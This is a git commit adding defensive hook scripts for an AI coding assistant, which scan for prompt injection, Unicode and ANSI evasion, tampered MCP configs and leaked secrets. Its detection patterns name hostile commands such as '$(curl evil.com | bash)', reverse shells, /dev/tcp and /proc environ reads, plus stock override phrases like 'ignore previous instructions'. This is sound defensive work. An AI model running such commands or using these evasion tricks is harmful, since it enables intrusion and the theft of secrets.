feat(security): add security hardening guide and hooks v3.6.0
- Add guide/security-hardening.md (~10K) covering: - MCP vetting workflow with CVE-2025-53109/53110, 54135, 54136 - Prompt injection evasion techniques (Unicode, ANSI, null bytes) - Secret detection tool comparison (Gitleaks, TruffleHog, GitGuardian) - Incident response procedures - Add 3 new security hooks: - unicode-injection-scanner.sh: zero-width, RTL, ANSI escape detection - repo-integrity-scanner.sh: scan README/package.json for injection - mcp-config-integrity.sh: verify MCP config hash - Update existing hooks: - prompt-injection-detector.sh: +ANSI, +null bytes, +nested cmd - output-secrets-scanner.sh: +env leakage, +generic tokens - Update cross-references in ultimate-guide.md (§7.4, §8.6) - Move MCP Security Hardening to Done in IDEAS.md Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
This commit is contained in:
parent
55a9fa34cf
commit
34b2ca7200
12 changed files with 986 additions and 22 deletions
118
examples/hooks/bash/mcp-config-integrity.sh
Executable file
118
examples/hooks/bash/mcp-config-integrity.sh
Executable file
|
|
@ -0,0 +1,118 @@
|
|||
#!/bin/bash
|
||||
# =============================================================================
|
||||
# MCP Config Integrity Hook
|
||||
# =============================================================================
|
||||
# Event: SessionStart (runs when Claude Code session begins)
|
||||
# Purpose: Verify MCP configuration has not been tampered with
|
||||
#
|
||||
# This hook addresses CVE-2025-54135 and CVE-2025-54136 by:
|
||||
# - Computing hash of ~/.claude/mcp.json
|
||||
# - Comparing against stored baseline
|
||||
# - Alerting on unauthorized modifications
|
||||
# - Checking project-level .mcp.json for suspicious content
|
||||
#
|
||||
# Installation:
|
||||
# Add to .claude/settings.json:
|
||||
# {
|
||||
# "hooks": {
|
||||
# "SessionStart": [
|
||||
# "bash examples/hooks/bash/mcp-config-integrity.sh"
|
||||
# ]
|
||||
# }
|
||||
# }
|
||||
#
|
||||
# Initial setup (run once to create baseline):
|
||||
# sha256sum ~/.claude/mcp.json > ~/.claude/.mcp-baseline.sha256
|
||||
#
|
||||
# Exit codes:
|
||||
# 0 = allow (config unchanged or no baseline)
|
||||
# Non-zero outputs systemMessage warnings
|
||||
#
|
||||
# References:
|
||||
# - CVE-2025-54135: RCE in Cursor via prompt injection rewriting mcp.json
|
||||
# - CVE-2025-54136: Persistent team backdoor via post-approval config tampering
|
||||
# =============================================================================
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# Configuration paths
|
||||
MCP_CONFIG="${HOME}/.claude/mcp.json"
|
||||
MCP_BASELINE="${HOME}/.claude/.mcp-baseline.sha256"
|
||||
PROJECT_MCP=".mcp.json"
|
||||
|
||||
WARNINGS=()
|
||||
|
||||
# === GLOBAL MCP CONFIG CHECK ===
|
||||
if [[ -f "$MCP_CONFIG" ]]; then
|
||||
# Check if baseline exists
|
||||
if [[ -f "$MCP_BASELINE" ]]; then
|
||||
# Compute current hash
|
||||
CURRENT_HASH=$(sha256sum "$MCP_CONFIG" 2>/dev/null | awk '{print $1}')
|
||||
BASELINE_HASH=$(awk '{print $1}' "$MCP_BASELINE" 2>/dev/null || echo "")
|
||||
|
||||
if [[ -n "$CURRENT_HASH" && -n "$BASELINE_HASH" && "$CURRENT_HASH" != "$BASELINE_HASH" ]]; then
|
||||
WARNINGS+=("MCP config modified since baseline was created. Review ~/.claude/mcp.json for unauthorized changes. Run 'sha256sum ~/.claude/mcp.json > ~/.claude/.mcp-baseline.sha256' to update baseline if changes are legitimate.")
|
||||
fi
|
||||
else
|
||||
# No baseline - suggest creating one
|
||||
WARNINGS+=("No MCP config baseline found. Consider running: sha256sum ~/.claude/mcp.json > ~/.claude/.mcp-baseline.sha256")
|
||||
fi
|
||||
|
||||
# === CHECK FOR SUSPICIOUS MCP SERVERS ===
|
||||
# Look for known risky patterns
|
||||
MCP_CONTENT=$(cat "$MCP_CONFIG" 2>/dev/null || echo "{}")
|
||||
|
||||
# Check for dangerous flags
|
||||
if echo "$MCP_CONTENT" | grep -qiE '"--dangerous|"--allow-write|"--no-sandbox'; then
|
||||
WARNINGS+=("MCP config contains dangerous flags (--dangerous, --allow-write, or --no-sandbox). Review carefully.")
|
||||
fi
|
||||
|
||||
# Check for unpinned versions (using @latest or no version)
|
||||
if echo "$MCP_CONTENT" | grep -qE '"[^"]*@latest"|"npx"[^}]*"-y"[^}]*"[^@"]+\"'; then
|
||||
WARNINGS+=("MCP config may contain unpinned versions (@latest or missing version). Pin to specific versions for security.")
|
||||
fi
|
||||
|
||||
# Check for suspicious environment variables
|
||||
if echo "$MCP_CONTENT" | grep -qiE '"env"[^}]*"(PASSWORD|SECRET|TOKEN|API_KEY|PRIVATE_KEY)"'; then
|
||||
WARNINGS+=("MCP config contains potentially sensitive environment variables. Ensure these are not hardcoded secrets.")
|
||||
fi
|
||||
|
||||
# Check for external URLs in commands
|
||||
if echo "$MCP_CONTENT" | grep -qE 'https?://[^"]+' | grep -vE 'npm|github|registry'; then
|
||||
WARNINGS+=("MCP config references external URLs. Verify these are trusted sources.")
|
||||
fi
|
||||
fi
|
||||
|
||||
# === PROJECT-LEVEL MCP CONFIG CHECK ===
|
||||
if [[ -f "$PROJECT_MCP" ]]; then
|
||||
PROJECT_MCP_CONTENT=$(cat "$PROJECT_MCP" 2>/dev/null || echo "{}")
|
||||
|
||||
# Check for dangerous flags in project config
|
||||
if echo "$PROJECT_MCP_CONTENT" | grep -qiE '"--dangerous|"--allow-write|"--no-sandbox'; then
|
||||
WARNINGS+=("Project .mcp.json contains dangerous flags. This could be a supply chain attack.")
|
||||
fi
|
||||
|
||||
# Check for shell injection patterns
|
||||
if echo "$PROJECT_MCP_CONTENT" | grep -qE '\$\(|`[^`]+`|&&|\|\|'; then
|
||||
WARNINGS+=("Project .mcp.json contains shell metacharacters. Review for command injection.")
|
||||
fi
|
||||
|
||||
# Check for base64-encoded content
|
||||
if echo "$PROJECT_MCP_CONTENT" | grep -qE '[A-Za-z0-9+/]{40,}={0,2}'; then
|
||||
WARNINGS+=("Project .mcp.json contains base64-like content. This could hide malicious payloads.")
|
||||
fi
|
||||
fi
|
||||
|
||||
# === OUTPUT WARNINGS ===
|
||||
if [[ ${#WARNINGS[@]} -gt 0 ]]; then
|
||||
WARNING_MSG=""
|
||||
for warning in "${WARNINGS[@]}"; do
|
||||
WARNING_MSG="${WARNING_MSG}⚠️ ${warning} "
|
||||
done
|
||||
|
||||
# Output as systemMessage
|
||||
echo "{\"systemMessage\": \"MCP INTEGRITY CHECK: ${WARNING_MSG}\"}"
|
||||
fi
|
||||
|
||||
# Always exit 0 (warn, don't block session start)
|
||||
exit 0
|
||||
|
|
@ -52,6 +52,8 @@ declare -A SECRET_PATTERNS=(
|
|||
["Stripe Key"]="(sk|pk)_(live|test)_[0-9a-zA-Z]{24,}"
|
||||
["Twilio Key"]="SK[a-f0-9]{32}"
|
||||
["SendGrid Key"]="SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43}"
|
||||
["Slack Token"]="xox[baprs]-[0-9a-zA-Z-]{10,}"
|
||||
["Discord Token"]="[MN][A-Za-z0-9]{23,}\.[A-Za-z0-9-_]{6}\.[A-Za-z0-9-_]{27}"
|
||||
|
||||
# Tokens
|
||||
["GitHub Token"]="(ghp|gho|ghu|ghs|ghr)_[a-zA-Z0-9]{36,}"
|
||||
|
|
@ -59,6 +61,7 @@ declare -A SECRET_PATTERNS=(
|
|||
["NPM Token"]="npm_[a-zA-Z0-9]{36}"
|
||||
["PyPI Token"]="pypi-[a-zA-Z0-9_-]{50,}"
|
||||
["JWT Token"]="eyJ[a-zA-Z0-9_-]*\.eyJ[a-zA-Z0-9_-]*\.[a-zA-Z0-9_-]*"
|
||||
["Heroku API Key"]="[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}"
|
||||
|
||||
# Private Keys
|
||||
["Private Key"]="-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----"
|
||||
|
|
@ -68,9 +71,15 @@ declare -A SECRET_PATTERNS=(
|
|||
["Database URL with Password"]="(postgres|mysql|mongodb)://[^:]+:[^@]+@"
|
||||
["Redis URL with Password"]="redis://:[^@]+@"
|
||||
|
||||
# Generic
|
||||
# Generic (58% of leaked secrets are "generic" - GitGuardian 2025)
|
||||
["Generic API Key"]="(api[_-]?key|apikey|api[_-]?secret)['\"]?\s*[:=]\s*['\"]?[a-zA-Z0-9_-]{20,}"
|
||||
["Generic Secret"]="(secret|password|passwd|pwd)['\"]?\s*[:=]\s*['\"]?[^\s'\"]{8,}"
|
||||
["Generic Token"]="(token|auth[_-]?token|access[_-]?token|bearer)['\"]?\s*[:=]\s*['\"]?[a-zA-Z0-9_-]{20,}"
|
||||
["Private Key Inline"]="['\"]?-----BEGIN[^-]+PRIVATE KEY-----"
|
||||
|
||||
# Environment Variable Leakage
|
||||
["Env Dump Command"]="^(env|printenv|set)$"
|
||||
["Proc Environ Access"]="/proc/self/environ|/proc/[0-9]+/environ"
|
||||
)
|
||||
|
||||
DETECTED_SECRETS=()
|
||||
|
|
|
|||
|
|
@ -159,6 +159,38 @@ if echo "$CONTENT" | grep -qE '[A-Za-z0-9+/]{50,}={0,2}'; then
|
|||
done
|
||||
fi
|
||||
|
||||
# === ANSI ESCAPE SEQUENCES ===
|
||||
# Terminal manipulation via escape codes (CVE-related)
|
||||
# \x1b[ CSI, \x1b] OSC, \x1b( charset selection
|
||||
if echo "$CONTENT" | grep -qE $'\x1b\[|\x1b\]|\x1b\('; then
|
||||
echo "BLOCKED: ANSI escape sequence detected - potential terminal injection" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === NULL BYTE INJECTION ===
|
||||
# Null bytes can truncate strings and bypass security checks
|
||||
if echo "$CONTENT" | grep -qP '\x00'; then
|
||||
echo "BLOCKED: Null byte detected - potential truncation attack" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === NESTED COMMAND EXECUTION ===
|
||||
# Detect $() and backtick command substitution that could bypass denylists
|
||||
# This catches patterns like: $(curl evil.com | bash) or `rm -rf /`
|
||||
NESTED_CMD_PATTERNS=(
|
||||
'\$\([^)]*\b(curl|wget|bash|sh|nc|python|ruby|perl|php)\b'
|
||||
'`[^`]*\b(curl|wget|bash|sh|nc|python|ruby|perl|php)\b'
|
||||
'\$\([^)]*\b(rm|dd|mkfs|chmod|chown)\b'
|
||||
'`[^`]*\b(rm|dd|mkfs|chmod|chown)\b'
|
||||
)
|
||||
|
||||
for pattern in "${NESTED_CMD_PATTERNS[@]}"; do
|
||||
if echo "$CONTENT" | grep -qE "$pattern"; then
|
||||
echo "BLOCKED: Nested command execution detected - potential bypass attempt" >&2
|
||||
exit 2
|
||||
fi
|
||||
done
|
||||
|
||||
# === CONTEXT MANIPULATION ===
|
||||
# Attempts to manipulate the conversation context
|
||||
CONTEXT_PATTERNS=(
|
||||
|
|
|
|||
215
examples/hooks/bash/repo-integrity-scanner.sh
Executable file
215
examples/hooks/bash/repo-integrity-scanner.sh
Executable file
|
|
@ -0,0 +1,215 @@
|
|||
#!/bin/bash
|
||||
# =============================================================================
|
||||
# Repository Integrity Scanner Hook
|
||||
# =============================================================================
|
||||
# Event: PreToolUse (runs before Read on potentially malicious files)
|
||||
# Purpose: Scan repository files for injection vectors before processing
|
||||
#
|
||||
# This hook detects prompt injection attempts hidden in:
|
||||
# - README.md, SECURITY.md (hidden HTML comments)
|
||||
# - package.json, pyproject.toml (malicious scripts)
|
||||
# - .claude/, .cursor/ configs (tampered configurations)
|
||||
# - CONTRIBUTING.md (social engineering instructions)
|
||||
#
|
||||
# Installation:
|
||||
# Add to .claude/settings.json:
|
||||
# {
|
||||
# "hooks": {
|
||||
# "PreToolUse": [{
|
||||
# "matcher": "Read",
|
||||
# "hooks": ["bash examples/hooks/bash/repo-integrity-scanner.sh"]
|
||||
# }]
|
||||
# }
|
||||
# }
|
||||
#
|
||||
# Exit codes:
|
||||
# 0 = allow (safe or not a target file)
|
||||
# 2 = block (injection detected)
|
||||
#
|
||||
# References:
|
||||
# - CVE-2025-54135: RCE via config file rewriting
|
||||
# - CVE-2025-54136: Team backdoor via post-approval config tampering
|
||||
# =============================================================================
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# Read the hook input from stdin
|
||||
INPUT=$(cat)
|
||||
|
||||
TOOL_NAME=$(echo "$INPUT" | jq -r '.tool_name // empty')
|
||||
TOOL_INPUT=$(echo "$INPUT" | jq -r '.tool_input // empty')
|
||||
|
||||
# Only check Read operations
|
||||
[[ "$TOOL_NAME" != "Read" ]] && exit 0
|
||||
|
||||
FILE_PATH=$(echo "$TOOL_INPUT" | jq -r '.file_path // empty')
|
||||
[[ -z "$FILE_PATH" ]] && exit 0
|
||||
|
||||
# Check if file exists
|
||||
[[ ! -f "$FILE_PATH" ]] && exit 0
|
||||
|
||||
FILENAME=$(basename "$FILE_PATH")
|
||||
DIRNAME=$(dirname "$FILE_PATH")
|
||||
|
||||
# === HIGH-RISK FILES ===
|
||||
# These files are common injection vectors
|
||||
HIGH_RISK_FILES=(
|
||||
"README.md"
|
||||
"readme.md"
|
||||
"SECURITY.md"
|
||||
"CONTRIBUTING.md"
|
||||
"CHANGELOG.md"
|
||||
)
|
||||
|
||||
# === CONFIG FILES ===
|
||||
# Configuration files that could contain malicious settings
|
||||
CONFIG_FILES=(
|
||||
"package.json"
|
||||
"pyproject.toml"
|
||||
"setup.py"
|
||||
"setup.cfg"
|
||||
"Makefile"
|
||||
".pre-commit-config.yaml"
|
||||
)
|
||||
|
||||
# === CLAUDE/CURSOR CONFIG ===
|
||||
# IDE config files that could be tampered
|
||||
IDE_CONFIG_PATTERNS=(
|
||||
".claude"
|
||||
".cursor"
|
||||
".vscode"
|
||||
".idea"
|
||||
)
|
||||
|
||||
# Function to check for injection patterns
|
||||
check_injection_patterns() {
|
||||
local file="$1"
|
||||
local content
|
||||
content=$(cat "$file" 2>/dev/null || echo "")
|
||||
|
||||
# === HIDDEN HTML COMMENTS ===
|
||||
# Look for HTML comments with instruction-like content
|
||||
if echo "$content" | grep -qiE '<!--.*\b(ignore|override|system|execute|run|eval|inject)\b.*-->'; then
|
||||
echo "BLOCKED: Hidden HTML comment with suspicious instructions in: $file" >&2
|
||||
return 1
|
||||
fi
|
||||
|
||||
# === ROLE OVERRIDE PATTERNS ===
|
||||
if echo "$content" | grep -qiE 'ignore (previous|all|your) instructions|you are now|pretend (you are|to be)|from now on|new instructions:'; then
|
||||
echo "BLOCKED: Prompt injection pattern detected in: $file" >&2
|
||||
return 1
|
||||
fi
|
||||
|
||||
# === BASE64 IN COMMENTS ===
|
||||
# Long base64 strings in comments could be encoded instructions
|
||||
if echo "$content" | grep -qE '(#|//|<!--).*[A-Za-z0-9+/]{40,}={0,2}'; then
|
||||
# Try to decode and check for injection
|
||||
local encoded
|
||||
encoded=$(echo "$content" | grep -oE '[A-Za-z0-9+/]{40,}={0,2}' | head -1)
|
||||
local decoded
|
||||
decoded=$(echo "$encoded" | base64 -d 2>/dev/null || echo "")
|
||||
if echo "$decoded" | grep -qiE 'ignore|override|system|jailbreak'; then
|
||||
echo "BLOCKED: Base64-encoded injection detected in: $file" >&2
|
||||
return 1
|
||||
fi
|
||||
fi
|
||||
|
||||
return 0
|
||||
}
|
||||
|
||||
# Function to check package.json for suspicious scripts
|
||||
check_package_json() {
|
||||
local file="$1"
|
||||
|
||||
# Extract scripts section
|
||||
local scripts
|
||||
scripts=$(jq -r '.scripts // {} | to_entries[] | "\(.key): \(.value)"' "$file" 2>/dev/null || echo "")
|
||||
|
||||
# Suspicious script patterns
|
||||
SUSPICIOUS_PATTERNS=(
|
||||
"curl.*|.*bash"
|
||||
"wget.*|.*sh"
|
||||
"eval\("
|
||||
"base64.*-d"
|
||||
"nc -"
|
||||
"reverse.*shell"
|
||||
"/dev/tcp/"
|
||||
"\\$\\(.*\\)" # Command substitution
|
||||
)
|
||||
|
||||
for pattern in "${SUSPICIOUS_PATTERNS[@]}"; do
|
||||
if echo "$scripts" | grep -qiE "$pattern"; then
|
||||
echo "BLOCKED: Suspicious npm script detected in $file: pattern '$pattern'" >&2
|
||||
return 1
|
||||
fi
|
||||
done
|
||||
|
||||
return 0
|
||||
}
|
||||
|
||||
# Function to check Python setup files
|
||||
check_python_setup() {
|
||||
local file="$1"
|
||||
local content
|
||||
content=$(cat "$file" 2>/dev/null || echo "")
|
||||
|
||||
# Suspicious patterns in setup files
|
||||
if echo "$content" | grep -qiE 'os\.system|subprocess\.(run|call|Popen)|exec\(|eval\(|__import__.*os'; then
|
||||
# Warning only - these could be legitimate
|
||||
echo '{"systemMessage": "Warning: Python setup file contains code execution patterns. Verify legitimacy before installing."}'
|
||||
fi
|
||||
|
||||
return 0
|
||||
}
|
||||
|
||||
# === MAIN CHECKS ===
|
||||
|
||||
# Check high-risk markdown files
|
||||
for risk_file in "${HIGH_RISK_FILES[@]}"; do
|
||||
if [[ "$FILENAME" == "$risk_file" ]]; then
|
||||
check_injection_patterns "$FILE_PATH" || exit 2
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
# Check config files
|
||||
for config_file in "${CONFIG_FILES[@]}"; do
|
||||
if [[ "$FILENAME" == "$config_file" ]]; then
|
||||
case "$FILENAME" in
|
||||
package.json)
|
||||
check_package_json "$FILE_PATH" || exit 2
|
||||
;;
|
||||
pyproject.toml|setup.py|setup.cfg)
|
||||
check_python_setup "$FILE_PATH" || exit 2
|
||||
;;
|
||||
Makefile)
|
||||
check_injection_patterns "$FILE_PATH" || exit 2
|
||||
;;
|
||||
esac
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
# Check IDE config directories
|
||||
for ide_pattern in "${IDE_CONFIG_PATTERNS[@]}"; do
|
||||
if [[ "$DIRNAME" == *"$ide_pattern"* || "$FILE_PATH" == *"$ide_pattern"* ]]; then
|
||||
# Extra scrutiny for IDE configs
|
||||
check_injection_patterns "$FILE_PATH" || exit 2
|
||||
|
||||
# Check for suspicious config modifications
|
||||
if [[ "$FILENAME" == *.json ]]; then
|
||||
local content
|
||||
content=$(cat "$FILE_PATH" 2>/dev/null || echo "")
|
||||
|
||||
# Look for hooks pointing to external URLs or suspicious commands
|
||||
if echo "$content" | grep -qiE '"hooks".*"(curl|wget|bash|sh|nc|python|node)'; then
|
||||
echo "BLOCKED: Suspicious hook command in IDE config: $FILE_PATH" >&2
|
||||
exit 2
|
||||
fi
|
||||
fi
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
# All checks passed
|
||||
exit 0
|
||||
141
examples/hooks/bash/unicode-injection-scanner.sh
Executable file
141
examples/hooks/bash/unicode-injection-scanner.sh
Executable file
|
|
@ -0,0 +1,141 @@
|
|||
#!/bin/bash
|
||||
# =============================================================================
|
||||
# Unicode Injection Scanner Hook
|
||||
# =============================================================================
|
||||
# Event: PreToolUse (runs before Edit/Write operations)
|
||||
# Purpose: Detect invisible Unicode characters used for prompt injection
|
||||
#
|
||||
# This hook detects evasion techniques that embed invisible instructions:
|
||||
# - Zero-width characters (U+200B-U+200D, U+FEFF)
|
||||
# - RTL/LTR override (U+202A-U+202E, U+2066-U+2069)
|
||||
# - ANSI escape sequences (terminal injection)
|
||||
# - Null bytes (truncation attacks)
|
||||
# - Tag characters (U+E0000-U+E007F)
|
||||
#
|
||||
# Installation:
|
||||
# Add to .claude/settings.json:
|
||||
# {
|
||||
# "hooks": {
|
||||
# "PreToolUse": [{
|
||||
# "matcher": "Edit|Write",
|
||||
# "hooks": ["bash examples/hooks/bash/unicode-injection-scanner.sh"]
|
||||
# }]
|
||||
# }
|
||||
# }
|
||||
#
|
||||
# Exit codes:
|
||||
# 0 = allow (no injection detected)
|
||||
# 2 = block (injection detected, stderr message shown to Claude)
|
||||
#
|
||||
# References:
|
||||
# - CVE-2025-53109/53110: Unicode-based sandbox escape
|
||||
# - Arxiv 2509.22040: Prompt Injection on Coding Assistants
|
||||
# =============================================================================
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# Read the hook input from stdin
|
||||
INPUT=$(cat)
|
||||
|
||||
TOOL_NAME=$(echo "$INPUT" | jq -r '.tool_name // empty')
|
||||
TOOL_INPUT=$(echo "$INPUT" | jq -r '.tool_input // empty')
|
||||
|
||||
# Only check Edit and Write tools
|
||||
case "$TOOL_NAME" in
|
||||
Edit|Write)
|
||||
;;
|
||||
*)
|
||||
exit 0
|
||||
;;
|
||||
esac
|
||||
|
||||
# Extract content to analyze
|
||||
CONTENT=""
|
||||
case "$TOOL_NAME" in
|
||||
Write)
|
||||
CONTENT=$(echo "$TOOL_INPUT" | jq -r '.content // empty')
|
||||
;;
|
||||
Edit)
|
||||
CONTENT=$(echo "$TOOL_INPUT" | jq -r '.new_string // empty')
|
||||
;;
|
||||
esac
|
||||
|
||||
# Skip if no content
|
||||
[[ -z "$CONTENT" ]] && exit 0
|
||||
|
||||
# === ZERO-WIDTH CHARACTERS ===
|
||||
# U+200B Zero Width Space
|
||||
# U+200C Zero Width Non-Joiner
|
||||
# U+200D Zero Width Joiner
|
||||
# U+FEFF Byte Order Mark (when not at start)
|
||||
if echo "$CONTENT" | grep -qP '[\x{200B}-\x{200D}\x{FEFF}]'; then
|
||||
echo "BLOCKED: Zero-width characters detected (U+200B-U+200D or BOM). These can hide malicious instructions." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === BIDIRECTIONAL TEXT OVERRIDE ===
|
||||
# U+202A Left-to-Right Embedding
|
||||
# U+202B Right-to-Left Embedding
|
||||
# U+202C Pop Directional Formatting
|
||||
# U+202D Left-to-Right Override
|
||||
# U+202E Right-to-Left Override (most dangerous - reverses text display)
|
||||
# U+2066-U+2069 Isolate controls
|
||||
if echo "$CONTENT" | grep -qP '[\x{202A}-\x{202E}\x{2066}-\x{2069}]'; then
|
||||
echo "BLOCKED: Bidirectional text override detected (U+202A-U+202E). These can disguise malicious commands." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === ANSI ESCAPE SEQUENCES ===
|
||||
# \x1b[ CSI (Control Sequence Introducer) - terminal control
|
||||
# \x1b] OSC (Operating System Command)
|
||||
# \x1b( Character set selection
|
||||
# These can manipulate terminal display or execute commands
|
||||
if echo "$CONTENT" | grep -qE $'\x1b\[|\x1b\]|\x1b\('; then
|
||||
echo "BLOCKED: ANSI escape sequence detected. These can manipulate terminal display." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === NULL BYTES ===
|
||||
# \x00 can truncate strings and bypass security checks
|
||||
if echo "$CONTENT" | grep -qP '\x00'; then
|
||||
echo "BLOCKED: Null byte detected. These can cause string truncation attacks." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === TAG CHARACTERS ===
|
||||
# U+E0000-U+E007F are invisible "tag" characters
|
||||
# Sometimes used to embed hidden data
|
||||
if echo "$CONTENT" | grep -qP '[\x{E0000}-\x{E007F}]'; then
|
||||
echo "BLOCKED: Unicode tag characters detected (U+E0000-E007F). These can embed invisible data." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === OVERLONG UTF-8 SEQUENCES ===
|
||||
# Detect potential overlong encodings (e.g., encoding '/' as C0 AF instead of 2F)
|
||||
# These can bypass path filters
|
||||
# Check for C0 or C1 bytes followed by 80-BF (overlong 2-byte sequences)
|
||||
if echo "$CONTENT" | grep -qP '[\xC0-\xC1][\x80-\xBF]'; then
|
||||
echo "BLOCKED: Overlong UTF-8 sequence detected. These can bypass security filters." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# === HOMOGLYPHS WARNING ===
|
||||
# Detect Cyrillic characters that look like Latin (confusables)
|
||||
# Common in typosquatting and filter bypass
|
||||
# а (U+0430) vs a, е (U+0435) vs e, о (U+043E) vs o, etc.
|
||||
HOMOGLYPHS_FOUND=false
|
||||
if echo "$CONTENT" | grep -qP '[\x{0430}\x{0435}\x{043E}\x{0440}\x{0441}\x{0445}]'; then
|
||||
HOMOGLYPHS_FOUND=true
|
||||
fi
|
||||
if echo "$CONTENT" | grep -qP '[\x{0391}-\x{03C9}]' && echo "$CONTENT" | grep -qP '[a-zA-Z]'; then
|
||||
# Greek mixed with Latin
|
||||
HOMOGLYPHS_FOUND=true
|
||||
fi
|
||||
|
||||
if [[ "$HOMOGLYPHS_FOUND" == "true" ]]; then
|
||||
# Warning only - could be legitimate multilingual content
|
||||
echo '{"systemMessage": "Warning: Potential homoglyph characters detected (Cyrillic/Greek mixed with Latin). Verify this is not an attempt to bypass filters."}'
|
||||
fi
|
||||
|
||||
# All checks passed
|
||||
exit 0
|
||||
Loading…
Add table
Add a link
Reference in a new issue